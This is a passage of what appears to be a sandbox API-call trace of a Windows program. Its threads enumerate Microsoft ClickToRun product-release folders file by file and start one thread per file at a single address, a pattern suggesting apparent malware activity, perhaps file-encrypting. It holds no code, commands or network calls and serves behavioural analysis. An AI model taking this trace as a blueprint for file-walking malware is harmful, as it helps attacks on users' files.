dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0088.665] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0088.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ad158) returned 1 [0088.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493638) returned 1 [0088.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475ff8) returned 1 [0088.665] RtlExitUserThread (Status=0x0) Thread: id = 1137 os_tid = 0x388 [0082.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd0) returned 0x3476868 [0082.791] wcscpy (in: _Dest=0x3476868, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0082.791] wcscat (in: _Dest=0x3476868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0082.791] wcscat (in: _Dest=0x3476868, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*" [0082.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac080 [0082.791] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e06d8 [0088.438] wcscmp (_String1=".", _String2=".") returned 0 [0088.438] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.438] wcscmp (_String1="..", _String2=".") returned 1 [0088.438] wcscmp (_String1="..", _String2="..") returned 0 [0088.438] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0088.438] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1 [0088.438] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1 [0088.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x33fc9c8 [0088.438] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0088.438] wcscat (in: _Dest=0x33fc9c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0088.438] wcscat (in: _Dest=0x33fc9c8, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" [0088.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fc9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0088.653] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0088.653] wcscmp (_String1="s321033.hash", _String2=".") returned 1 [0088.653] wcscmp (_String1="s321033.hash", _String2="..") returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a518 [0088.653] wcscpy (in: _Dest=0x348a518, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0088.653] wcscat (in: _Dest=0x348a518, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0088.653] wcscat (in: _Dest=0x348a518, _Source="s321033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" [0088.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348a518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0088.654] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0088.654] wcscmp (_String1="stream.Platform.Culture.man.xml", _String2=".") returned 1 [0088.654] wcscmp (_String1="stream.Platform.Culture.man.xml", _String2="..") returned 1 [0088.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x3429f20 [0088.654] wcscpy (in: _Dest=0x3429f20, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0088.654] wcscat (in: _Dest=0x3429f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0088.654] wcscat (in: _Dest=0x3429f20, _Source="stream.Platform.Culture.man.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" [0088.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0088.655] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0088.655] wcscmp (_String1="stream.x86.en-us.hash", _String2=".") returned 1 [0088.655] wcscmp (_String1="stream.x86.en-us.hash", _String2="..") returned 1 [0088.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x341a428 [0088.655] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0088.655] wcscat (in: _Dest=0x341a428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0088.655] wcscat (in: _Dest=0x341a428, _Source="stream.x86.en-us.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" [0088.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0088.655] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0088.655] wcscmp (_String1="stream.x86.en-us.man.dat", _String2=".") returned 1 [0088.655] wcscmp (_String1="stream.x86.en-us.man.dat", _String2="..") returned 1 [0088.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3434930 [0088.656] wcscpy (in: _Dest=0x3434930, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0088.656] wcscat (in: _Dest=0x3434930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0088.656] wcscat (in: _Dest=0x3434930, _Source="stream.x86.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" [0088.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0088.656] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x34ac080 | out: lpFindFileData=0x34ac080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0088.656] FindClose (in: hFindFile=0x33e06d8 | out: hFindFile=0x33e06d8) returned 1 [0088.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac080) returned 1 [0088.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476868) returned 1 [0088.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476f28) returned 1 [0088.657] RtlExitUserThread (Status=0x0) Thread: id = 1138 os_tid = 0xdbc [0082.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494438 [0082.792] wcscpy (in: _Dest=0x3494438, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0082.792] wcscat (in: _Dest=0x3494438, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0082.792] wcscat (in: _Dest=0x3494438, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*" [0082.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac2e8 [0082.792] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0698 [0088.436] wcscmp (_String1=".", _String2=".") returned 0 [0088.436] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.436] wcscmp (_String1="..", _String2=".") returned 1 [0088.436] wcscmp (_String1="..", _String2="..") returned 0 [0088.436] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0088.436] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2=".") returned 1 [0088.436] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2="..") returned 1 [0088.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x341da40 [0088.436] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0088.436] wcscat (in: _Dest=0x341da40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0088.436] wcscat (in: _Dest=0x341da40, _Source="MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" [0088.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341da40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0088.659] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0088.659] wcscmp (_String1="s320.hash", _String2=".") returned 1 [0088.659] wcscmp (_String1="s320.hash", _String2="..") returned 1 [0088.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0088.659] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0088.659] wcscat (in: _Dest=0x348a608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0088.659] wcscat (in: _Dest=0x348a608, _Source="s320.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" [0088.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348a608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0088.659] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0088.659] wcscmp (_String1="stream.Platform.x-none.man.xml", _String2=".") returned 1 [0088.660] wcscmp (_String1="stream.Platform.x-none.man.xml", _String2="..") returned 1 [0088.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a038 [0088.660] wcscpy (in: _Dest=0x342a038, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0088.660] wcscat (in: _Dest=0x342a038, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0088.660] wcscat (in: _Dest=0x342a038, _Source="stream.Platform.x-none.man.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" [0088.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0088.660] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0088.660] wcscmp (_String1="stream.x86.x-none.hash", _String2=".") returned 1 [0088.660] wcscmp (_String1="stream.x86.x-none.hash", _String2="..") returned 1 [0088.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x3434a38 [0088.660] wcscpy (in: _Dest=0x3434a38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0088.660] wcscat (in: _Dest=0x3434a38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0088.660] wcscat (in: _Dest=0x3434a38, _Source="stream.x86.x-none.hash" | out: _Dest="C:\\Users\\All 